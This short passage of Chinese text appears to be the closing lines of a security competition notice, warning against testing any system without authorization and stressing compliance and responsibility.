赛事。请勿在未授权的情况下对任何系统进行测试。安全之路始于合规终于责任。